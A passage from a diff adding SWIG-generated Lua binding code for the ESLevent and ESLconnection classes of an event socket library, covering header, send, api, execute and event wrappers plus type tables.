+  result = (bool)(arg1)->delHeader((char const *)arg2);
+  SWIG_arg=0;
+  lua_pushboolean(L,(int)(result==true)); SWIG_arg++;
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLevent_firstHeader(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *result = 0 ;
+  
+  SWIG_check_num_args("firstHeader",1,1)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("firstHeader",1,"ESLevent *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLevent,0))){
+    SWIG_fail_ptr("ESLevent_firstHeader",1,SWIGTYPE_p_ESLevent);
+  }
+  
+  result = (char *)(arg1)->firstHeader();
+  SWIG_arg=0;
+  lua_pushstring(L,(const char*)result); SWIG_arg++;
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLevent_nextHeader(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *result = 0 ;
+  
+  SWIG_check_num_args("nextHeader",1,1)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("nextHeader",1,"ESLevent *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLevent,0))){
+    SWIG_fail_ptr("ESLevent_nextHeader",1,SWIGTYPE_p_ESLevent);
+  }
+  
+  result = (char *)(arg1)->nextHeader();
+  SWIG_arg=0;
+  lua_pushstring(L,(const char*)result); SWIG_arg++;
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static void swig_delete_ESLevent(void *obj) {
+ESLevent *arg1 = (ESLevent *) obj;
+delete arg1;
+}
+static swig_lua_method swig_ESLevent_methods[] = {
+    {"serialize", _wrap_ESLevent_serialize}, 
+    {"setPriority", _wrap_ESLevent_setPriority}, 
+    {"getHeader", _wrap_ESLevent_getHeader}, 
+    {"getBody", _wrap_ESLevent_getBody}, 
+    {"getType", _wrap_ESLevent_getType}, 
+    {"addBody", _wrap_ESLevent_addBody}, 
+    {"addHeader", _wrap_ESLevent_addHeader}, 
+    {"delHeader", _wrap_ESLevent_delHeader}, 
+    {"firstHeader", _wrap_ESLevent_firstHeader}, 
+    {"nextHeader", _wrap_ESLevent_nextHeader}, 
+    {0,0}
+};
+static swig_lua_attribute swig_ESLevent_attributes[] = {
+    { "event", _wrap_ESLevent_event_get, _wrap_ESLevent_event_set},
+    { "serialized_string", _wrap_ESLevent_serialized_string_get, _wrap_ESLevent_serialized_string_set},
+    { "mine", _wrap_ESLevent_mine_get, _wrap_ESLevent_mine_set},
+    {0,0,0}
+};
+static swig_lua_class *swig_ESLevent_bases[] = {0};
+static const char *swig_ESLevent_base_names[] = {0};
+static swig_lua_class _wrap_class_ESLevent = { "ESLevent", &SWIGTYPE_p_ESLevent,_wrap_new_ESLevent, swig_delete_ESLevent, swig_ESLevent_methods, swig_ESLevent_attributes, swig_ESLevent_bases, swig_ESLevent_base_names };
+
+static int _wrap_new_ESLconnection__SWIG_0(lua_State* L) {
+  int SWIG_arg = -1;
+  char *arg1 = (char *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) 0 ;
+  ESLconnection *result = 0 ;
+  
+  SWIG_check_num_args("ESLconnection",3,3)
+  if(!lua_isstring(L,1)) SWIG_fail_arg("ESLconnection",1,"char const *");
+  if(!lua_isstring(L,2)) SWIG_fail_arg("ESLconnection",2,"char const *");
+  if(!lua_isstring(L,3)) SWIG_fail_arg("ESLconnection",3,"char const *");
+  arg1 = (char *)lua_tostring(L, 1);
+  arg2 = (char *)lua_tostring(L, 2);
+  arg3 = (char *)lua_tostring(L, 3);
+  result = (ESLconnection *)new ESLconnection((char const *)arg1,(char const *)arg2,(char const *)arg3);
+  SWIG_arg=0;
+  SWIG_NewPointerObj(L,result,SWIGTYPE_p_ESLconnection,1); SWIG_arg++; 
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_new_ESLconnection__SWIG_1(lua_State* L) {
+  int SWIG_arg = -1;
+  int arg1 ;
+  ESLconnection *result = 0 ;
+  
+  SWIG_check_num_args("ESLconnection",1,1)
+  if(!lua_isnumber(L,1)) SWIG_fail_arg("ESLconnection",1,"int");
+  arg1 = (int)lua_tonumber(L, 1);
+  result = (ESLconnection *)new ESLconnection(arg1);
+  SWIG_arg=0;
+  SWIG_NewPointerObj(L,result,SWIGTYPE_p_ESLconnection,1); SWIG_arg++; 
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_new_ESLconnection(lua_State* L) {
+  int argc;
+  int argv[4]={
+    1,2,3,4
+  };
+  
+  argc = lua_gettop(L);
+  if (argc == 1) {
+    int _v;
+    {
+      _v = lua_isnumber(L,argv[0]);
+    }
+    if (_v) {
+      return _wrap_new_ESLconnection__SWIG_1(L);
+    }
+  }
+  if (argc == 3) {
+    int _v;
+    {
+      _v = lua_isstring(L,argv[0]);
+    }
+    if (_v) {
+      {
+        _v = lua_isstring(L,argv[1]);
+      }
+      if (_v) {
+        {
+          _v = lua_isstring(L,argv[2]);
+        }
+        if (_v) {
+          return _wrap_new_ESLconnection__SWIG_0(L);
+        }
+      }
+    }
+  }
+  
+  lua_pushstring(L,"No matching function for overloaded 'new_ESLconnection'");
+  lua_error(L);return 0;
+}
+
+
+static int _wrap_delete_ESLconnection(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  
+  SWIG_check_num_args("ESLconnection",1,1)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("ESLconnection",1,"ESLconnection *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLconnection,SWIG_POINTER_DISOWN))){
+    SWIG_fail_ptr("delete_ESLconnection",1,SWIGTYPE_p_ESLconnection);
+  }
+  
+  delete arg1;
+  
+  SWIG_arg=0;
+  
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLconnection_socketDescriptor(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  int result;
+  
+  SWIG_check_num_args("socketDescriptor",1,1)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("socketDescriptor",1,"ESLconnection *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLconnection,0))){
+    SWIG_fail_ptr("ESLconnection_socketDescriptor",1,SWIGTYPE_p_ESLconnection);
+  }
+  
+  result = (int)(arg1)->socketDescriptor();
+  SWIG_arg=0;
+  lua_pushnumber(L, (lua_Number) result); SWIG_arg++;
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLconnection_connected(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  int result;
+  
+  SWIG_check_num_args("connected",1,1)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("connected",1,"ESLconnection *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLconnection,0))){
+    SWIG_fail_ptr("ESLconnection_connected",1,SWIGTYPE_p_ESLconnection);
+  }
+  
+  result = (int)(arg1)->connected();
+  SWIG_arg=0;
+  lua_pushnumber(L, (lua_Number) result); SWIG_arg++;
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLconnection_getInfo(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  ESLevent *result = 0 ;
+  
+  SWIG_check_num_args("getInfo",1,1)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("getInfo",1,"ESLconnection *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLconnection,0))){
+    SWIG_fail_ptr("ESLconnection_getInfo",1,SWIGTYPE_p_ESLconnection);
+  }
+  
+  result = (ESLevent *)(arg1)->getInfo();
+  SWIG_arg=0;
+  SWIG_NewPointerObj(L,result,SWIGTYPE_p_ESLevent,1); SWIG_arg++; 
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLconnection_send(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  int result;
+  
+  SWIG_check_num_args("send",2,2)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("send",1,"ESLconnection *");
+  if(!lua_isstring(L,2)) SWIG_fail_arg("send",2,"char const *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLconnection,0))){
+    SWIG_fail_ptr("ESLconnection_send",1,SWIGTYPE_p_ESLconnection);
+  }
+  
+  arg2 = (char *)lua_tostring(L, 2);
+  result = (int)(arg1)->send((char const *)arg2);
+  SWIG_arg=0;
+  lua_pushnumber(L, (lua_Number) result); SWIG_arg++;
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLconnection_sendRecv(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  ESLevent *result = 0 ;
+  
+  SWIG_check_num_args("sendRecv",2,2)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("sendRecv",1,"ESLconnection *");
+  if(!lua_isstring(L,2)) SWIG_fail_arg("sendRecv",2,"char const *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLconnection,0))){
+    SWIG_fail_ptr("ESLconnection_sendRecv",1,SWIGTYPE_p_ESLconnection);
+  }
+  
+  arg2 = (char *)lua_tostring(L, 2);
+  result = (ESLevent *)(arg1)->sendRecv((char const *)arg2);
+  SWIG_arg=0;
+  SWIG_NewPointerObj(L,result,SWIGTYPE_p_ESLevent,1); SWIG_arg++; 
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLconnection_api(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) NULL ;
+  ESLevent *result = 0 ;
+  
+  SWIG_check_num_args("api",2,3)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("api",1,"ESLconnection *");
+  if(!lua_isstring(L,2)) SWIG_fail_arg("api",2,"char const *");
+  if(lua_gettop(L)>=3 && !lua_isstring(L,3)) SWIG_fail_arg("api",3,"char const *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLconnection,0))){
+    SWIG_fail_ptr("ESLconnection_api",1,SWIGTYPE_p_ESLconnection);
+  }
+  
+  arg2 = (char *)lua_tostring(L, 2);
+  if(lua_gettop(L)>=3){
+    arg3 = (char *)lua_tostring(L, 3);
+  }
+  result = (ESLevent *)(arg1)->api((char const *)arg2,(char const *)arg3);
+  SWIG_arg=0;
+  SWIG_NewPointerObj(L,result,SWIGTYPE_p_ESLevent,1); SWIG_arg++; 
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLconnection_bgapi(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) NULL ;
+  ESLevent *result = 0 ;
+  
+  SWIG_check_num_args("bgapi",2,3)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("bgapi",1,"ESLconnection *");
+  if(!lua_isstring(L,2)) SWIG_fail_arg("bgapi",2,"char const *");
+  if(lua_gettop(L)>=3 && !lua_isstring(L,3)) SWIG_fail_arg("bgapi",3,"char const *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLconnection,0))){
+    SWIG_fail_ptr("ESLconnection_bgapi",1,SWIGTYPE_p_ESLconnection);
+  }
+  
+  arg2 = (char *)lua_tostring(L, 2);
+  if(lua_gettop(L)>=3){
+    arg3 = (char *)lua_tostring(L, 3);
+  }
+  result = (ESLevent *)(arg1)->bgapi((char const *)arg2,(char const *)arg3);
+  SWIG_arg=0;
+  SWIG_NewPointerObj(L,result,SWIGTYPE_p_ESLevent,1); SWIG_arg++; 
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLconnection_sendEvent(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  ESLevent *arg2 = (ESLevent *) 0 ;
+  int result;
+  
+  SWIG_check_num_args("sendEvent",2,2)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("sendEvent",1,"ESLconnection *");
+  if(!SWIG_isptrtype(L,2)) SWIG_fail_arg("sendEvent",2,"ESLevent *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLconnection,0))){
+    SWIG_fail_ptr("ESLconnection_sendEvent",1,SWIGTYPE_p_ESLconnection);
+  }
+  
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,2,(void**)&arg2,SWIGTYPE_p_ESLevent,0))){
+    SWIG_fail_ptr("ESLconnection_sendEvent",2,SWIGTYPE_p_ESLevent);
+  }
+  
+  result = (int)(arg1)->sendEvent(arg2);
+  SWIG_arg=0;
+  lua_pushnumber(L, (lua_Number) result); SWIG_arg++;
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLconnection_recvEvent(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  ESLevent *result = 0 ;
+  
+  SWIG_check_num_args("recvEvent",1,1)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("recvEvent",1,"ESLconnection *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLconnection,0))){
+    SWIG_fail_ptr("ESLconnection_recvEvent",1,SWIGTYPE_p_ESLconnection);
+  }
+  
+  result = (ESLevent *)(arg1)->recvEvent();
+  SWIG_arg=0;
+  SWIG_NewPointerObj(L,result,SWIGTYPE_p_ESLevent,1); SWIG_arg++; 
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLconnection_recvEventTimed(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  int arg2 ;
+  ESLevent *result = 0 ;
+  
+  SWIG_check_num_args("recvEventTimed",2,2)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("recvEventTimed",1,"ESLconnection *");
+  if(!lua_isnumber(L,2)) SWIG_fail_arg("recvEventTimed",2,"int");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLconnection,0))){
+    SWIG_fail_ptr("ESLconnection_recvEventTimed",1,SWIGTYPE_p_ESLconnection);
+  }
+  
+  arg2 = (int)lua_tonumber(L, 2);
+  result = (ESLevent *)(arg1)->recvEventTimed(arg2);
+  SWIG_arg=0;
+  SWIG_NewPointerObj(L,result,SWIGTYPE_p_ESLevent,1); SWIG_arg++; 
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLconnection_filter(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) 0 ;
+  ESLevent *result = 0 ;
+  
+  SWIG_check_num_args("filter",3,3)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("filter",1,"ESLconnection *");
+  if(!lua_isstring(L,2)) SWIG_fail_arg("filter",2,"char const *");
+  if(!lua_isstring(L,3)) SWIG_fail_arg("filter",3,"char const *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLconnection,0))){
+    SWIG_fail_ptr("ESLconnection_filter",1,SWIGTYPE_p_ESLconnection);
+  }
+  
+  arg2 = (char *)lua_tostring(L, 2);
+  arg3 = (char *)lua_tostring(L, 3);
+  result = (ESLevent *)(arg1)->filter((char const *)arg2,(char const *)arg3);
+  SWIG_arg=0;
+  SWIG_NewPointerObj(L,result,SWIGTYPE_p_ESLevent,1); SWIG_arg++; 
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLconnection_events(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) 0 ;
+  int result;
+  
+  SWIG_check_num_args("events",3,3)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("events",1,"ESLconnection *");
+  if(!lua_isstring(L,2)) SWIG_fail_arg("events",2,"char const *");
+  if(!lua_isstring(L,3)) SWIG_fail_arg("events",3,"char const *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLconnection,0))){
+    SWIG_fail_ptr("ESLconnection_events",1,SWIGTYPE_p_ESLconnection);
+  }
+  
+  arg2 = (char *)lua_tostring(L, 2);
+  arg3 = (char *)lua_tostring(L, 3);
+  result = (int)(arg1)->events((char const *)arg2,(char const *)arg3);
+  SWIG_arg=0;
+  lua_pushnumber(L, (lua_Number) result); SWIG_arg++;
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLconnection_execute(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) NULL ;
+  char *arg4 = (char *) NULL ;
+  int result;
+  
+  SWIG_check_num_args("execute",2,4)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("execute",1,"ESLconnection *");
+  if(!lua_isstring(L,2)) SWIG_fail_arg("execute",2,"char const *");
+  if(lua_gettop(L)>=3 && !lua_isstring(L,3)) SWIG_fail_arg("execute",3,"char const *");
+  if(lua_gettop(L)>=4 && !lua_isstring(L,4)) SWIG_fail_arg("execute",4,"char const *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLconnection,0))){
+    SWIG_fail_ptr("ESLconnection_execute",1,SWIGTYPE_p_ESLconnection);
+  }
+  
+  arg2 = (char *)lua_tostring(L, 2);
+  if(lua_gettop(L)>=3){
+    arg3 = (char *)lua_tostring(L, 3);
+  }
+  if(lua_gettop(L)>=4){
+    arg4 = (char *)lua_tostring(L, 4);
+  }
+  result = (int)(arg1)->execute((char const *)arg2,(char const *)arg3,(char const *)arg4);
+  SWIG_arg=0;
+  lua_pushnumber(L, (lua_Number) result); SWIG_arg++;
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLconnection_executeAsync(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) NULL ;
+  char *arg4 = (char *) NULL ;
+  int result;
+  
+  SWIG_check_num_args("executeAsync",2,4)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("executeAsync",1,"ESLconnection *");
+  if(!lua_isstring(L,2)) SWIG_fail_arg("executeAsync",2,"char const *");
+  if(lua_gettop(L)>=3 && !lua_isstring(L,3)) SWIG_fail_arg("executeAsync",3,"char const *");
+  if(lua_gettop(L)>=4 && !lua_isstring(L,4)) SWIG_fail_arg("executeAsync",4,"char const *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLconnection,0))){
+    SWIG_fail_ptr("ESLconnection_executeAsync",1,SWIGTYPE_p_ESLconnection);
+  }
+  
+  arg2 = (char *)lua_tostring(L, 2);
+  if(lua_gettop(L)>=3){
+    arg3 = (char *)lua_tostring(L, 3);
+  }
+  if(lua_gettop(L)>=4){
+    arg4 = (char *)lua_tostring(L, 4);
+  }
+  result = (int)(arg1)->executeAsync((char const *)arg2,(char const *)arg3,(char const *)arg4);
+  SWIG_arg=0;
+  lua_pushnumber(L, (lua_Number) result); SWIG_arg++;
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLconnection_setAsyncExecute(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  int result;
+  
+  SWIG_check_num_args("setAsyncExecute",2,2)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("setAsyncExecute",1,"ESLconnection *");
+  if(!lua_isstring(L,2)) SWIG_fail_arg("setAsyncExecute",2,"char const *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLconnection,0))){
+    SWIG_fail_ptr("ESLconnection_setAsyncExecute",1,SWIGTYPE_p_ESLconnection);
+  }
+  
+  arg2 = (char *)lua_tostring(L, 2);
+  result = (int)(arg1)->setAsyncExecute((char const *)arg2);
+  SWIG_arg=0;
+  lua_pushnumber(L, (lua_Number) result); SWIG_arg++;
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLconnection_setEventLock(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  int result;
+  
+  SWIG_check_num_args("setEventLock",2,2)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("setEventLock",1,"ESLconnection *");
+  if(!lua_isstring(L,2)) SWIG_fail_arg("setEventLock",2,"char const *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLconnection,0))){
+    SWIG_fail_ptr("ESLconnection_setEventLock",1,SWIGTYPE_p_ESLconnection);
+  }
+  
+  arg2 = (char *)lua_tostring(L, 2);
+  result = (int)(arg1)->setEventLock((char const *)arg2);
+  SWIG_arg=0;
+  lua_pushnumber(L, (lua_Number) result); SWIG_arg++;
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLconnection_disconnect(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  int result;
+  
+  SWIG_check_num_args("disconnect",1,1)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("disconnect",1,"ESLconnection *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLconnection,0))){
+    SWIG_fail_ptr("ESLconnection_disconnect",1,SWIGTYPE_p_ESLconnection);
+  }
+  
+  result = (int)(arg1)->disconnect();
+  SWIG_arg=0;
+  lua_pushnumber(L, (lua_Number) result); SWIG_arg++;
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static void swig_delete_ESLconnection(void *obj) {
+ESLconnection *arg1 = (ESLconnection *) obj;
+delete arg1;
+}
+static swig_lua_method swig_ESLconnection_methods[] = {
+    {"socketDescriptor", _wrap_ESLconnection_socketDescriptor}, 
+    {"connected", _wrap_ESLconnection_connected}, 
+    {"getInfo", _wrap_ESLconnection_getInfo}, 
+    {"send", _wrap_ESLconnection_send}, 
+    {"sendRecv", _wrap_ESLconnection_sendRecv}, 
+    {"api", _wrap_ESLconnection_api}, 
+    {"bgapi", _wrap_ESLconnection_bgapi}, 
+    {"sendEvent", _wrap_ESLconnection_sendEvent}, 
+    {"recvEvent", _wrap_ESLconnection_recvEvent}, 
+    {"recvEventTimed", _wrap_ESLconnection_recvEventTimed}, 
+    {"filter", _wrap_ESLconnection_filter}, 
+    {"events", _wrap_ESLconnection_events}, 
+    {"execute", _wrap_ESLconnection_execute}, 
+    {"executeAsync", _wrap_ESLconnection_executeAsync}, 
+    {"setAsyncExecute", _wrap_ESLconnection_setAsyncExecute}, 
+    {"setEventLock", _wrap_ESLconnection_setEventLock}, 
+    {"disconnect", _wrap_ESLconnection_disconnect}, 
+    {0,0}
+};
+static swig_lua_attribute swig_ESLconnection_attributes[] = {
+    {0,0,0}
+};
+static swig_lua_class *swig_ESLconnection_bases[] = {0};
+static const char *swig_ESLconnection_base_names[] = {0};
+static swig_lua_class _wrap_class_ESLconnection = { "ESLconnection", &SWIGTYPE_p_ESLconnection,_wrap_new_ESLconnection, swig_delete_ESLconnection, swig_ESLconnection_methods, swig_ESLconnection_attributes, swig_ESLconnection_bases, swig_ESLconnection_base_names };
+
+static int _wrap_eslSetLogLevel(lua_State* L) {
+  int SWIG_arg = -1;
+  int arg1 ;
+  
+  SWIG_check_num_args("eslSetLogLevel",1,1)
+  if(!lua_isnumber(L,1)) SWIG_fail_arg("eslSetLogLevel",1,"int");
+  arg1 = (int)lua_tonumber(L, 1);
+  eslSetLogLevel(arg1);
+  SWIG_arg=0;
+  
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+#ifdef __cplusplus
+}
+#endif
+
+static const struct luaL_reg swig_commands[] = {
+    { "eslSetLogLevel", _wrap_eslSetLogLevel},
+    {0,0}
+};
+
+static swig_lua_var_info swig_variables[] = {
+    {0,0,0}
+};
+
+static swig_lua_const_info swig_constants[] = {
+    {0,0,0,0,0,0}
+};
+
+/* -------- TYPE CONVERSION AND EQUIVALENCE RULES (BEGIN) -------- */
+
+static swig_type_info _swigt__p_ESLconnection = {"_p_ESLconnection", "ESLconnection *", 0, 0, (void*)&_wrap_class_ESLconnection, 0};
+static swig_type_info _swigt__p_ESLevent = {"_p_ESLevent", "ESLevent *", 0, 0, (void*)&_wrap_class_ESLevent, 0};
+static swig_type_info _swigt__p_esl_event_t = {"_p_esl_event_t", "esl_event_t *", 0, 0, (void*)0, 0};
+static swig_type_info _swigt__p_esl_priority_t = {"_p_esl_priority_t", "esl_priority_t *", 0, 0, (void*)0, 0};
+
+static swig_type_info *swig_type_initial[] = {
+  &_swigt__p_ESLconnection,
+  &_swigt__p_ESLevent,
+  &_swigt__p_esl_event_t,
+  &_swigt__p_esl_priority_t,
+};
+
+static swig_cast_info _swigc__p_ESLconnection[] = {  {&_swigt__p_ESLconnection, 0, 0, 0},{0, 0, 0, 0}};
+static swig_cast_info _swigc__p_ESLevent[] = {  {&_swigt__p_ESLevent, 0, 0, 0},{0, 0, 0, 0}};
+static swig_cast_info _swigc__p_esl_event_t[] = {  {&_swigt__p_esl_event_t, 0, 0, 0},{0, 0, 0, 0}};
+static swig_cast_info _swigc__p_esl_priority_t[] = {  {&_swigt__p_esl_priority_t, 0, 0, 0},{0, 0, 0, 0}};
+
+static swig_cast_info *swig_cast_initial[] = {
+  _swigc__p_ESLconnection,
+  _swigc__p_ESLevent,
+  _swigc__p_esl_event_t,
+  _swigc__p_esl_priority_t,
+};
+
+
+/* -------- TYPE CONVERSION AND EQUIVALENCE RULES (END) -------- */
+
+/* -----------------------------------------------------------------------------
+ * Type initialization:
+ * This problem is tough by the requirement that no dynamic 
+ * memory is used. Also, since swig_type_info structures store pointers to 
+ * swig_cast_info structures and swig_cast_info structures store pointers back
+ * to swig_type_info structures, we need some lookup code at initialization. 
+ * The idea is that swig generates all the structures that are needed. 
+ * The runtime then collects these partially filled structures. 
+ * The SWIG_InitializeModule function takes these initial arrays out of 
+ * swig_module, and does all the lookup, filling in the swig_module.types
+ * array with the correct data and linking the correct swig_cast_info
+ * structures together.
+ *
+ * The generated swig_type_info structures are assigned staticly to an initial 
+ * array. We just loop through that array, and handle each type individually.
+ * First we lookup if this type has been already loaded, and if so, use the
+ * loaded structure instead of the generated one. Then we have to fill in the
+ * cast linked list. The cast data is initially stored in something like a
